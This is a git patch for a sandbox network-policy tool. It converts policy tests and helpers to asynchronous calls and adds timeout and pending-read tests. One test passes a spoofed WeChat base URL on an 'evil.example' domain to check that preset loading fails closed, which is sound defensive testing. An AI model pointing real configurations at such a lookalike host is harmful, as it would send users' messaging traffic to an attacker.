tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-channel-bindings-")); const script = String.raw` +(async () => { const YAML = require("yaml"); const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); @@ -35,8 +36,8 @@ registry.registerSandbox({ plan: makeMessagingPlan({ sandboxName: "slack-configured", channels: ["slack"] }), }, }); -function inspect(name) { - const parsed = YAML.parse(policies.loadPresetForSandbox(name, "slack")); +async function inspect(name) { + const parsed = YAML.parse(await policies.loadPresetForSandbox(name, "slack")); const endpoints = parsed.network_policies.slack.endpoints; return { providers: endpoints.flatMap((endpoint) => @@ -46,9 +47,11 @@ function inspect(name) { }; } process.stdout.write("__RESULT__" + JSON.stringify({ - egressOnly: inspect("egress-only"), - configured: inspect("slack-configured"), + egressOnly: await inspect("egress-only"), + configured: await inspect("slack-configured"), })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; const result = spawnSync(process.execPath, [...SOURCE_NODE_ARGS, "-e", script], { cwd: REPO_ROOT, @@ -74,18 +77,21 @@ process.stdout.write("__RESULT__" + JSON.stringify({ it("loadPresetForSandbox fails closed for unknown messaging agents without blocking central presets", () => { const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-agent-resolution-")); const script = String.raw` +(async () => { const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); registry.registerSandbox({ name: "deepagents-sandbox", agent: "langchain-deepagents-code", }); -const channelPreset = policies.loadPresetForSandbox("deepagents-sandbox", "telegram"); -const centralPreset = policies.loadPresetForSandbox("deepagents-sandbox", "npm"); +const channelPreset = await policies.loadPresetForSandbox("deepagents-sandbox", "telegram"); +const centralPreset = await policies.loadPresetForSandbox("deepagents-sandbox", "npm"); process.stdout.write("__RESULT__" + JSON.stringify({ channelPreset, centralPresetHasNpmPolicy: String(centralPreset).includes("npm_yarn:"), })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; const result = spawnSync(process.execPath, [...SOURCE_NODE_ARGS, "-e", script], { cwd: REPO_ROOT, @@ -104,6 +110,7 @@ process.stdout.write("__RESULT__" + JSON.stringify({ it("loadPresetForSandbox fails closed when WeChat policy input is invalid (#10606)", () => { const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-wechat-policy-input-")); const script = String.raw` +(async () => { const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); registry.registerSandbox({ @@ -111,10 +118,12 @@ registry.registerSandbox({ agent: "openclaw", }); process.stdout.write("__RESULT__" + JSON.stringify({ - preset: policies.loadPresetForSandbox("wechat-invalid", "wechat", { + preset: await policies.loadPresetForSandbox("wechat-invalid", "wechat", { messagingConfig: { WECHAT_BASE_URL: "https://idc-3.weixin.qq.com.evil.example" }, }), })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; const result = spawnSync(process.execPath, [...SOURCE_NODE_ARGS, "-e", script], { cwd: REPO_ROOT, @@ -147,14 +156,17 @@ process.stdout.write("__RESULT__" + JSON.stringify({ ); fs.chmodSync(openshellPath, 0o755); const script = String.raw` +(async () => { const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); registry.registerSandbox({ name: "deepagents-sandbox", agent: "langchain-deepagents-code", }); -const gatewayPresets = policies.getGatewayPresets("deepagents-sandbox"); +const gatewayPresets = await policies.getGatewayPresets("deepagents-sandbox"); process.stdout.write("__RESULT__" + JSON.stringify({ gatewayPresets })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; const result = spawnSync(process.execPath, [...SOURCE_NODE_ARGS, "-e", script], { cwd: REPO_ROOT, @@ -171,14 +183,17 @@ process.stdout.write("__RESULT__" + JSON.stringify({ gatewayPresets })); it("setup policy preset catalog omits unsupported Deep Agents messaging policies (#6185)", () => { const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-setup-agent-")); const script = String.raw` +(async () => { const registry = require(${REGISTRY_PATH}); const policies = require(${POLICIES_PATH}); registry.registerSandbox({ name: "deepagents-sandbox", agent: "langchain-deepagents-code", }); -const names = policies.listSetupPolicyPresets("deepagents-sandbox").map((preset) => preset.name); +const names = (await policies.listSetupPolicyPresets("deepagents-sandbox")).map((preset) => preset.name); process.stdout.write("__RESULT__" + JSON.stringify({ names })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; const result = spawnSync(process.execPath, [...SOURCE_NODE_ARGS, "-e", script], { cwd: REPO_ROOT, @@ -201,6 +216,7 @@ process.stdout.write("__RESULT__" + JSON.stringify({ names })); it("policy-add treats unsupported Deep Agents messaging policy as unknown before preview or prompt (#6185)", () => { const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-agent-gate-")); const script = String.raw` +(async () => { const registry = require(${REGISTRY_PATH}); const { addSandboxPolicy } = require(${ACTION_PATH}); const output = []; @@ -222,6 +238,8 @@ registry.registerSandbox({ } process.stdout.write("__RESULT__" + JSON.stringify({ exitCode, output, errors })); })(); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; const result = spawnSync(process.execPath, [...SOURCE_NODE_ARGS, "-e", script], { cwd: REPO_ROOT, diff --git a/test/runtime/policy/policy-diagnostic-read.test.ts b/test/runtime/policy/policy-diagnostic-read.test.ts index 312196f0193..12c9f9d42b1 100644 --- a/test/runtime/policy/policy-diagnostic-read.test.ts +++ b/test/runtime/policy/policy-diagnostic-read.test.ts @@ -17,7 +17,7 @@ const registry = requireForTest( ) as typeof import("../../../src/lib/state/registry"); describe("OpenShell policy read boundaries", () => { - it("queries the sandbox's recorded gateway when matching diagnostic presets", () => { + it("queries the sandbox's recorded gateway when matching diagnostic presets", async () => { const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-diagnostic-")); const fakeOpenshell = path.join(tmpDir, "openshell"); const argsFile = path.join(tmpDir, "args.txt"); @@ -38,7 +38,7 @@ describe("OpenShell policy read boundaries", () => { gatewayPort: 9090, }); try { - expect(policies.getGatewayPresets("my-assistant")).toEqual([]); + expect(await policies.getGatewayPresets("my-assistant")).toEqual([]); const calls = fs.readFileSync(argsFile, "utf-8").trim().split("\n"); expect(calls).toContain("policy get -g nemoclaw-9090 --full my-assistant"); expect(calls).toContain("policy get -g nemoclaw-9090 --base my-assistant"); diff --git a/test/runtime/policy/policy-mutation-read-failure.test.ts b/test/runtime/policy/policy-mutation-read-failure.test.ts index 992814eb1a5..810bbf352ab 100644 --- a/test/runtime/policy/policy-mutation-read-failure.test.ts +++ b/test/runtime/policy/policy-mutation-read-failure.test.ts @@ -64,9 +64,9 @@ describe("OpenShell policy mutation read failures", () => { beforeEach(() => { vi.spyOn( - policyReader.syncCliOpenShellSandboxPolicyReader, + policyReader.cliOpenShellSandboxPolicyReader, "inspectSandboxPolicy", - ).mockReturnValue({ + ).mockResolvedValue({ ok: true, value: { policySource: "sandbox", @@ -91,11 +91,11 @@ describe("OpenShell policy mutation read failures", () => { describe.each([ { mutation: "applyPresetContent", - apply: () => policies.applyPresetContent("alpha", "custom", CUSTOM_PRESET), + apply: async () => await policies.applyPresetContent("alpha", "custom", CUSTOM_PRESET), }, - { mutation: "applyPresets", apply: () => policies.applyPresets("alpha", ["npm"]) }, + { mutation: "applyPresets", apply: async () => await policies.applyPresets("alpha", ["npm"]) }, ] as const)("$mutation policy mutation", ({ mutation, apply }) => { - it("refuses to set policy when the base-policy read fails", () => { + it("refuses to set policy when the base-policy read fails", async () => { const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-read-failure-")); tempDirs.push(tempDir); const callsPath = path.join(tempDir, "calls.log"); @@ -108,7 +108,7 @@ describe("OpenShell policy mutation read failures", () => { vi.stubEnv("NEMOCLAW_OPENSHELL_BIN", fakeOpenshell); const consoleError = vi.spyOn(console, "error").mockImplementation(() => undefined); - expect(apply()).toBe(false); + expect(await apply()).toBe(false); const calls = fs.readFileSync(callsPath, "utf-8").trim().split("\n"); expect(calls).toEqual(["policy get -g nemoclaw --base alpha"]); expect(calls.some((call) => call.startsWith("policy set "))).toBe(false); @@ -122,7 +122,7 @@ describe("OpenShell policy mutation read failures", () => { { outputName: "whitespace-only", emitOutput: "printf ' \\n'" }, ])( "refuses to set policy when the successful base-policy read is $outputName", - ({ emitOutput }) => { + async ({ emitOutput }) => { const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-empty-read-")); tempDirs.push(tempDir); const callsPath = path.join(tempDir, "calls.log"); @@ -142,7 +142,7 @@ describe("OpenShell policy mutation read failures", () => { const mkdtempSpy = vi.spyOn(fs, "mkdtempSync"); const consoleError = vi.spyOn(console, "error").mockImplementation(() => undefined); - expect(apply()).toBe(false); + expect(await apply()).toBe(false); const calls = fs.readFileSync(callsPath, "utf-8").trim().split("\n"); expect(calls).toEqual(["policy get -g nemoclaw --base alpha"]); expect(calls.some((call) => call.startsWith("policy set "))).toBe(false); @@ -157,7 +157,7 @@ describe("OpenShell policy mutation read failures", () => { it.each(MALFORMED_BASE_POLICIES)( "refuses to set policy when the base-policy read has %s", - (_shapeName, policyOutput) => { + async (_shapeName, policyOutput) => { const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-malformed-read-")); tempDirs.push(tempDir); const callsPath = path.join(tempDir, "calls.log"); @@ -178,7 +178,7 @@ describe("OpenShell policy mutation read failures", () => { const mkdtempSpy = vi.spyOn(fs, "mkdtempSync"); const consoleError = vi.spyOn(console, "error").mockImplementation(() => undefined); - expect(apply()).toBe(false); + expect(await apply()).toBe(false); const calls = fs.readFileSync(callsPath, "utf-8").trim().split("\n"); expect(calls).toEqual(["policy get -g nemoclaw --base alpha"]); expect(calls.some((call) => call.startsWith("policy set "))).toBe(false); @@ -193,7 +193,7 @@ describe("OpenShell policy mutation read failures", () => { it.each(UNMARKED_NON_POLICY_MAPPINGS)( "refuses to set policy when the successful base-policy read is an unmarked %s", - (_shapeName, policyOutput) => { + async (_shapeName, policyOutput) => { const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "nemoclaw-policy-diagnostic-read-")); tempDirs.push(tempDir); const callsPath = path.join(tempDir, "calls.log"); @@ -214,7 +214,7 @@ describe("OpenShell policy mutation read failures", () => { const mkdtempSpy = vi.spyOn(fs, "mkdtempSync"); const consoleError = vi.spyOn(console, "error").mockImplementation(() => undefined); - expect(apply()).toBe(false); + expect(await apply()).toBe(false); const calls = fs.readFileSync(callsPath, "utf-8").trim().split("\n"); expect(calls).toEqual(["policy get -g nemoclaw --base alpha"]); expect(calls.some((call) => call.startsWith("policy set "))).toBe(false); diff --git a/test/runtime/policy/policy-openclaw-npm-compatibility.test.ts b/test/runtime/policy/policy-openclaw-npm-compatibility.test.ts index 1c9c17c90ab..09e9f89652d 100644 --- a/test/runtime/policy/policy-openclaw-npm-compatibility.test.ts +++ b/test/runtime/policy/policy-openclaw-npm-compatibility.test.ts @@ -165,6 +165,7 @@ exit 1 ); const script = String.raw` +(async () => { const fs = require("node:fs"); const YAML = require("yaml"); const registry = require(${REGISTRY_PATH}); @@ -173,6 +174,8 @@ registry.registerSandbox(${JSON.stringify({ ...managedSandboxEntry(sandboxName), })}); ${childScript} + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; try { @@ -210,7 +213,7 @@ describe("OpenClaw npm compatibility policy lifecycle", () => { sandboxName: "personal-owner", initialPolicy, childScript: ` -const removed = policies.removePreset("personal-owner", "npm"); +const removed = await policies.removePreset("personal-owner", "npm"); process.stdout.write("\\n__RESULT__" + JSON.stringify({ removed, policy: fs.readFileSync(process.env.CURRENT_POLICY, "utf-8"), @@ -235,7 +238,7 @@ process.stdout.write("\\n__RESULT__" + JSON.stringify({ sandboxName: "personal-npm", initialPolicy, childScript: ` -const removed = policies.removePreset("personal-npm", "npm"); +const removed = await policies.removePreset("personal-npm", "npm"); process.stdout.write("\\n__RESULT__" + JSON.stringify({ removed, policy: YAML.parse(fs.readFileSync(process.env.CURRENT_POLICY, "utf-8")), @@ -256,11 +259,11 @@ process.stdout.write("\\n__RESULT__" + JSON.stringify({ sandboxName: "npm-lifecycle", initialPolicy: unoverlaidActivePolicy(), childScript: ` -const beforeApplyState = policies.getOpenClawNpmCompatibilityState("npm-lifecycle"); -const applied = policies.applyPresets("npm-lifecycle", ["npm"]); +const beforeApplyState = await policies.getOpenClawNpmCompatibilityState("npm-lifecycle"); +const applied = await policies.applyPresets("npm-lifecycle", ["npm"]); const afterApply = YAML.parse(fs.readFileSync(process.env.CURRENT_POLICY, "utf-8")); -const afterApplyState = policies.getOpenClawNpmCompatibilityState("npm-lifecycle"); -const removed = policies.removePreset("npm-lifecycle", "npm"); +const afterApplyState = await policies.getOpenClawNpmCompatibilityState("npm-lifecycle"); +const removed = await policies.removePreset("npm-lifecycle", "npm"); const afterRemove = YAML.parse(fs.readFileSync(process.env.CURRENT_POLICY, "utf-8")); process.stdout.write("\\n__RESULT__" + JSON.stringify({ beforeApplyState, @@ -296,10 +299,10 @@ process.stdout.write("\\n__RESULT__" + JSON.stringify({ initialPolicy: YAML.stringify(oldActivePolicy), setMode: "fail-once", childScript: ` -const failedRemoval = policies.removePreset("npm-old-overlay", "npm", { nonFatal: true }); +const failedRemoval = await policies.removePreset("npm-old-overlay", "npm", { nonFatal: true }); const afterFailedPolicy = YAML.parse(fs.readFileSync(process.env.CURRENT_POLICY, "utf-8")); const afterFailedRegistry = structuredClone(registry.getSandbox("npm-old-overlay")); -const removed = policies.removePreset("npm-old-overlay", "npm", { nonFatal: true }); +const removed = await policies.removePreset("npm-old-overlay", "npm", { nonFatal: true }); const afterRemove = YAML.parse(fs.readFileSync(process.env.CURRENT_POLICY, "utf-8")); process.stdout.write("\\n__RESULT__" + JSON.stringify({ failedRemoval, @@ -328,7 +331,7 @@ process.stdout.write("\\n__RESULT__" + JSON.stringify({ sandboxName: "npm-drift", initialPolicy: YAML.stringify(drifted), childScript: ` -const removed = policies.removePreset("npm-drift", "npm", { nonFatal: true }); +const removed = await policies.removePreset("npm-drift", "npm", { nonFatal: true }); process.stdout.write("\\n__RESULT__" + JSON.stringify({ removed, policy: YAML.parse(fs.readFileSync(process.env.CURRENT_POLICY, "utf-8")), diff --git a/test/runtime/policy/policy-preset-noop-disclosure.test.ts b/test/runtime/policy/policy-preset-noop-disclosure.test.ts index e23509602ae..78b05eb1aa2 100644 --- a/test/runtime/policy/policy-preset-noop-disclosure.test.ts +++ b/test/runtime/policy/policy-preset-noop-disclosure.test.ts @@ -94,16 +94,19 @@ exit 1 ? `policies.applyPresets("alpha", ${JSON.stringify(presetNames)})` : `policies.applyPreset("alpha", ${JSON.stringify(presetNames[0])}, ${JSON.stringify({ suppressDisclosure, disclosedPresetState })})`; const script = ` +(async () => { const fs = require("node:fs"); const policies = require(${POLICY_MODULE}); const registry = require(${REGISTRY_MODULE}); ${managedRegistrationSource("alpha")} -const result = ${invocation}; +const result = await ${invocation}; process.stdout.write("\\n__RESULT__" + JSON.stringify({ result, calls: fs.readFileSync(process.env.CALLS_PATH, "utf8").trim().split("\\n").filter(Boolean), registry: registry.getSandbox("alpha"), })); + +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; const result = spawnSync(process.execPath, [...SOURCE_NODE_ARGS, "-e", script], { cwd: REPO_ROOT, diff --git a/test/runtime/policy/policy-preset-sync.test.ts b/test/runtime/policy/policy-preset-sync.test.ts index e3d2d3fda7f..b6ccb0c3e1a 100644 --- a/test/runtime/policy/policy-preset-sync.test.ts +++ b/test/runtime/policy/policy-preset-sync.test.ts @@ -34,6 +34,7 @@ describe("policy preset sync", () => { path.join(repoRoot, "src", "lib", "onboard", "policy-preset-sync.ts"), ); const script = String.raw` +(async () => { const policies = require(${policiesPath}); const calls = []; policies.listPresets = () => [{ name: "npm" }, { name: "pypi" }]; @@ -42,10 +43,11 @@ policies.applyPresets = (_sandbox, names) => { calls.push("batch:" + names.join( policies.removePreset = (_sandbox, name) => { calls.push("remove:" + name); return true; }; const { syncPresetSelection } = require(${syncPath}); -syncPresetSelection("test-sb", [], ["npm", "pypi"]); -syncPresetSelection("test-sb", [], ["npm", "custom", "pypi"]); -syncPresetSelection("test-sb", ["slack", "npm", "pypi"], ["npm"]); +await syncPresetSelection("test-sb", [], ["npm", "pypi"]); +await syncPresetSelection("test-sb", [], ["npm", "custom", "pypi"]); +await syncPresetSelection("test-sb", ["slack", "npm", "pypi"], ["npm"]); process.stdout.write(JSON.stringify(calls) + "\n"); +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; const result = runScript(script); diff --git a/test/runtime/policy/policy-semantic-validation-runtime.test.ts b/test/runtime/policy/policy-semantic-validation-runtime.test.ts index 71dc8e2e1e2..054011ce61d 100644 --- a/test/runtime/policy/policy-semantic-validation-runtime.test.ts +++ b/test/runtime/policy/policy-semantic-validation-runtime.test.ts @@ -35,7 +35,7 @@ vi.mock("../../../src/lib/adapters/openshell/sandbox-policy-cli", async (importO ...(await importOriginal< typeof import("../../../src/lib/adapters/openshell/sandbox-policy-cli") >()), - syncCliOpenShellSandboxPolicyReader: { + cliOpenShellSandboxPolicyReader: { inspectSandboxPolicy, readSandboxPolicy, readSandboxPolicyRevision: vi.fn(), @@ -76,11 +76,11 @@ afterEach(() => { }); describe("custom policy semantic validation", () => { - it("rejects unsafe in-memory content before reading the sandbox policy", () => { + it("rejects unsafe in-memory content before reading the sandbox policy", async () => { const errSpy = vi.spyOn(console, "error").mockImplementation(() => {}); try { expect( - applyPresetContent( + await applyPresetContent( "alpha", "unsafe-egress", [ @@ -131,7 +131,7 @@ describe("custom policy semantic validation", () => { }); describe("Personal policy mutation validation", () => { - it("returns false for non-fatal application when the reserved Personal entry drifts", () => { + it("returns false for non-fatal application when the reserved Personal entry drifts", async () => { readSandboxPolicy.mockReturnValue({ ok: true, value: { document: DRIFTED_PERSONAL_POLICY, appliedRevision: 1 }, @@ -142,7 +142,7 @@ describe("Personal policy mutation validation", () => { try { expect( - applyPresetContent("personal-drift", "weather", weatherPreset!, { + await applyPresetContent("personal-drift", "weather", weatherPreset!, { nonFatal: true, }), ).toBe(false); @@ -154,7 +154,7 @@ describe("Personal policy mutation validation", () => { } }); - it("throws for ordinary application when the reserved Personal entry drifts", () => { + it("throws for ordinary application when the reserved Personal entry drifts", async () => { readSandboxPolicy.mockReturnValue({ ok: true, value: { document: DRIFTED_PERSONAL_POLICY, appliedRevision: 1 }, @@ -162,8 +162,8 @@ describe("Personal policy mutation validation", () => { const weatherPreset = loadPreset("weather"); expect(weatherPreset).not.toBeNull(); - expect(() => applyPresetContent("personal-drift", "weather", weatherPreset!)).toThrow( - "does not match the reviewed built-in preset", - ); + await expect( + (async () => await applyPresetContent("personal-drift", "weather", weatherPreset!))(), + ).rejects.toThrow("does not match the reviewed built-in preset"); }); }); diff --git a/test/runtime/policy/portable-policy-failure-finality.test.ts b/test/runtime/policy/portable-policy-failure-finality.test.ts index d6cc87b4f3c..b3bcce5dd8c 100644 --- a/test/runtime/policy/portable-policy-failure-finality.test.ts +++ b/test/runtime/policy/portable-policy-failure-finality.test.ts @@ -163,9 +163,11 @@ exit 2 * block and hide the leak, so the child must take a real `process.exit`. */ function buildDriver(call: string): string { - return `const policy = require(${JSON.stringify(policyModulePath)}); -const returned = policy.${call}; + return `(async () => { +const policy = require(${JSON.stringify(policyModulePath)}); +const returned = await policy.${call}; console.log(${JSON.stringify(RETURN_MARKER)} + String(returned)); +})().catch((error) => { console.error(error); process.exitCode = 1; }); `; } diff --git a/test/runtime/sandbox/sandbox-logs-terminal.test.ts b/test/runtime/sandbox/sandbox-logs-terminal.test.ts index 6488cd3d9cb..c05b54ab6ec 100644 --- a/test/runtime/sandbox/sandbox-logs-terminal.test.ts +++ b/test/runtime/sandbox/sandbox-logs-terminal.test.ts @@ -3,7 +3,7 @@ import { EventEmitter } from "node:events"; -import { describe, expect, it } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import { showSandboxLogsWithDeps } from "../../../src/lib/actions/sandbox/logs.js"; @@ -25,12 +25,13 @@ function makeSpawnChild(): EventEmitter & { } describe("sandbox logs for terminal agents", () => { - it("skips the OpenClaw gateway log source but keeps OpenShell audit logs", () => { + it("skips the OpenClaw gateway log source but keeps OpenShell audit logs", async () => { const calls: string[] = []; + const enableAuditLogs = vi.fn(async () => ({ ok: true as const, value: undefined })); let exitCode: number | null = null; try { - showSandboxLogsWithDeps( + await showSandboxLogsWithDeps( "deepagents-code", { follow: false, lines: "20", since: null }, { @@ -38,6 +39,7 @@ describe("sandbox logs for terminal agents", () => { ({ runtime: { kind: "terminal" }, }) as never, + enableAuditLogs, isDockerRuntimeDown: () => false, runOpenshell: (args) => { calls.push(args.join(" ")); @@ -60,17 +62,22 @@ describe("sandbox logs for terminal agents", () => { } expect(exitCode).toBe(0); - expect(calls).toContain("settings set deepagents-code --key ocsf_json_enabled --value true"); + expect(enableAuditLogs).toHaveBeenCalledExactlyOnceWith({ + target: { kind: "selected" }, + sandboxName: "deepagents-code", + timeoutMs: expect.any(Number), + }); expect(calls).toContain("logs deepagents-code -n 20 --source all"); expect(calls.some((call) => call.includes("/tmp/gateway.log"))).toBe(false); }); - it("logs --follow spawns only the OpenShell source for terminal agents", () => { + it("logs --follow spawns only the OpenShell source for terminal agents", async () => { const calls: string[] = []; + const enableAuditLogs = vi.fn(async () => ({ ok: true as const, value: undefined })); let exitCode: number | null = null; let child: ReturnType | null = null; - showSandboxLogsWithDeps( + await showSandboxLogsWithDeps( "deepagents-code", { follow: true, lines: "20", since: null }, { @@ -79,6 +86,7 @@ describe("sandbox logs for terminal agents", () => { ({ runtime: { kind: "terminal" }, }) as never, + enableAuditLogs, isDockerRuntimeDown: () => false, runOpenshell: (args) => { calls.push(args.join(" ")); @@ -96,7 +104,11 @@ describe("sandbox logs for terminal agents", () => { }, ); - expect(calls).toContain("settings set deepagents-code --key ocsf_json_enabled --value true"); + expect(enableAuditLogs).toHaveBeenCalledExactlyOnceWith({ + target: { kind: "selected" }, + sandboxName: "deepagents-code", + timeoutMs: expect.any(Number), + }); expect( calls.some( (call) => diff --git a/test/runtime/sandbox/sandbox-status-json-stdout.test.ts b/test/runtime/sandbox/sandbox-status-json-stdout.test.ts index 20588ef384a..4f5247da6a3 100644 --- a/test/runtime/sandbox/sandbox-status-json-stdout.test.ts +++ b/test/runtime/sandbox/sandbox-status-json-stdout.test.ts @@ -48,7 +48,7 @@ describe("sandbox status JSON", () => { it("does not expose removed policy shadow fields", async () => { const report = await getSandboxStatusReport("alpha", { getSandbox: () => ({ name: "alpha", agent: "openclaw" }), - getGatewayPresets: () => ["npm"], + getGatewayPresets: async () => ["npm"], reconcile: async () => ({ state: "missing", output: "" }), }); expect(report.policies).toEqual(["npm"]); @@ -64,11 +64,11 @@ describe("sandbox status JSON", () => { }; const unavailable = await getSandboxStatusReport("alpha", { ...base, - getGatewayPresets: () => null, + getGatewayPresets: async () => null, }); const empty = await getSandboxStatusReport("alpha", { ...base, - getGatewayPresets: () => [], + getGatewayPresets: async () => [], }); expect(unavailable.policies).toEqual([]); From 0e3587b20ca66f8881872522868b625c42eafb2e Mon Sep 17 00:00:00 2001 From: Rebecca Sliter <571084+rsliter@users.noreply.github.com> Date: Thu, 10 Sep 2026 15:49:22 -0700 Subject: [PATCH 2/4] fix(policy): preserve asynchronous handoff and failure contracts Signed-off-by: Rebecca Sliter <571084+rsliter@users.noreply.github.com> --- .../sandbox/oclif-command-adapters.test.ts | 19 +++++++ .../actions/sandbox/channel-status.test.ts | 18 ++++++- src/lib/actions/sandbox/channel-status.ts | 21 +++++++- .../sandbox/policy-channel-list.test.ts | 12 ++--- .../sandbox/policy-channel-refresh.test.ts | 16 +++--- .../sandbox/rebuild-destroy-phase.test.ts | 33 ++++++++++++ .../actions/sandbox/rebuild-destroy-phase.ts | 6 +++ .../sandbox/rebuild-resume-snapshot.test.ts | 4 +- src/lib/adapters/openshell/client.ts | 3 +- src/lib/adapters/openshell/runtime.ts | 2 +- .../openshell/sandbox-policy-cli.test.ts | 52 +++++++++++++++++++ .../adapters/openshell/sandbox-policy-cli.ts | 36 +++++++------ .../policy-preset-sync-finality.test.ts | 8 +-- .../onboard/policy-resume-selection.test.ts | 8 +-- .../policy-selection-application.test.ts | 16 ++++-- src/lib/policy/policy-apply-finality.test.ts | 2 +- test/onboarding/onboard-readiness.test.ts | 12 ++--- .../cli/policy-dispatch.test.ts | 6 ++- test/package-contract/repro-2010.test.ts | 24 ++++++--- 19 files changed, 232 insertions(+), 66 deletions(-) diff --git a/src/commands/sandbox/oclif-command-adapters.test.ts b/src/commands/sandbox/oclif-command-adapters.test.ts index e896ab0ff68..ad56d920195 100644 --- a/src/commands/sandbox/oclif-command-adapters.test.ts +++ b/src/commands/sandbox/oclif-command-adapters.test.ts @@ -272,6 +272,25 @@ describe("sandbox oclif command adapters", () => { expect(process.exitCode).toBe(1); }); + it("keeps policy list pending until the asynchronous action completes", async () => { + let finish!: () => void; + mocks.listSandboxPolicies.mockImplementationOnce( + () => + new Promise((resolve) => { + finish = resolve; + }), + ); + let completed = false; + const pending = SandboxPolicyListCommand.run(["alpha"], rootDir).then(() => { + completed = true; + }); + await vi.waitFor(() => expect(mocks.listSandboxPolicies).toHaveBeenCalledWith("alpha")); + expect(completed).toBe(false); + finish(); + await pending; + expect(completed).toBe(true); + }); + it("maps inspection commands to their action helpers", async () => { await SandboxStatusCommand.run(["alpha"], rootDir); await SandboxPolicyListCommand.run(["alpha"], rootDir); diff --git a/src/lib/actions/sandbox/channel-status.test.ts b/src/lib/actions/sandbox/channel-status.test.ts index 654222963db..0cb079d6371 100644 --- a/src/lib/actions/sandbox/channel-status.test.ts +++ b/src/lib/actions/sandbox/channel-status.test.ts @@ -516,7 +516,7 @@ function slackWaitHarness( } function waitForSlack( - deps: ReturnType["deps"], + deps: NonNullable[1]>["deps"], timeoutSeconds = 10, pollIntervalMs = 5_000, ) { @@ -665,3 +665,19 @@ describe("showSandboxChannelStatus unsupported readiness wait", () => { expect(sleep).not.toHaveBeenCalled(); }); }); + +it("returns the status timeout when an applied-policy read remains pending", async () => { + vi.useFakeTimers(); + try { + const { deps } = slackWaitHarness([{ connected: false }]); + const getAppliedPresets = vi.fn(() => new Promise(() => {})); + const pending = waitForSlack({ ...deps, nowMs: () => Date.now(), getAppliedPresets }, 1); + await vi.advanceTimersByTimeAsync(1_000); + const result = await pending; + expect(result).toMatchObject({ readiness: { state: "timeout" } }); + expect(getAppliedPresets).toHaveBeenCalledWith("alpha", 1_000); + expect(vi.getTimerCount()).toBe(0); + } finally { + vi.useRealTimers(); + } +}); diff --git a/src/lib/actions/sandbox/channel-status.ts b/src/lib/actions/sandbox/channel-status.ts index e670397f1b3..e6532a5876a 100644 --- a/src/lib/actions/sandbox/channel-status.ts +++ b/src/lib/actions/sandbox/channel-status.ts @@ -57,7 +57,7 @@ type ExecRunner = ( type StatusDeps = { loadAgent?: (name: string) => AgentDefinition; getSandbox?: typeof registry.getSandbox; - getAppliedPresets?: (sandboxName: string) => string[] | Promise; + getAppliedPresets?: (sandboxName: string, timeoutMs?: number) => string[] | Promise; getGatewayPresets?: ( sandboxName: string, timeoutMs?: number, @@ -550,6 +550,21 @@ function withStatusDeadline(deps: Required, deadlineMs: number): Req }; return { ...deps, + getAppliedPresets: async (sandboxName, requestedTimeoutMs) => { + const timeoutMs = boundedTimeoutMs(requestedTimeoutMs); + if (timeoutMs === null) return []; + let timer: ReturnType | undefined; + try { + return await Promise.race([ + deps.getAppliedPresets(sandboxName, timeoutMs), + new Promise((resolve) => { + timer = setTimeout(() => resolve([]), timeoutMs); + }), + ]); + } finally { + clearTimeout(timer); + } + }, getGatewayPresets: async (sandboxName, requestedTimeoutMs) => { const timeoutMs = boundedTimeoutMs(requestedTimeoutMs); return timeoutMs === null ? null : await deps.getGatewayPresets(sandboxName, timeoutMs); @@ -610,7 +625,9 @@ async function waitForChannelReadiness( elapsedMs = Math.max(0, deps.nowMs() - startedAt); } const state: ChannelStatusWaitState = - lastObserved.state === "waiting" ? "timeout" : lastObserved.state; + lastObserved.state === "waiting" || (elapsedMs >= timeoutMs && lastObserved.state !== "ready") + ? "timeout" + : lastObserved.state; return { schemaVersion: 1, sandbox: sandboxName, diff --git a/src/lib/actions/sandbox/policy-channel-list.test.ts b/src/lib/actions/sandbox/policy-channel-list.test.ts index 784cfe1afd7..a5fd69d8374 100644 --- a/src/lib/actions/sandbox/policy-channel-list.test.ts +++ b/src/lib/actions/sandbox/policy-channel-list.test.ts @@ -35,9 +35,9 @@ describe("policy list live state", () => { { file: "npm.yaml", name: "npm", description: "npm registry" }, { file: "pypi.yaml", name: "pypi", description: "Python packages" }, ]); - mocks.listCustomPresets.mockReturnValue([]); - mocks.getAppliedPresets.mockReturnValue(["npm"]); - mocks.getGatewayPresets.mockReturnValue(["npm"]); + mocks.listCustomPresets.mockResolvedValue([]); + mocks.getAppliedPresets.mockResolvedValue(["npm"]); + mocks.getGatewayPresets.mockResolvedValue(["npm"]); }); it("marks presets from the current OpenShell policy as active", async () => { @@ -47,11 +47,11 @@ describe("policy list live state", () => { }); it("lists namespaced custom presets derived from live policy", async () => { - mocks.listCustomPresets.mockReturnValue([ + mocks.listCustomPresets.mockResolvedValue([ { file: "corp.yaml", name: "corp", description: "custom OpenShell policy" }, ]); - mocks.getAppliedPresets.mockReturnValue(["corp"]); - mocks.getGatewayPresets.mockReturnValue(["corp"]); + mocks.getAppliedPresets.mockResolvedValue(["corp"]); + mocks.getGatewayPresets.mockResolvedValue(["corp"]); await listSandboxPolicies("alpha"); expect(output()).toContain("● corp [user-added]"); }); diff --git a/src/lib/actions/sandbox/policy-channel-refresh.test.ts 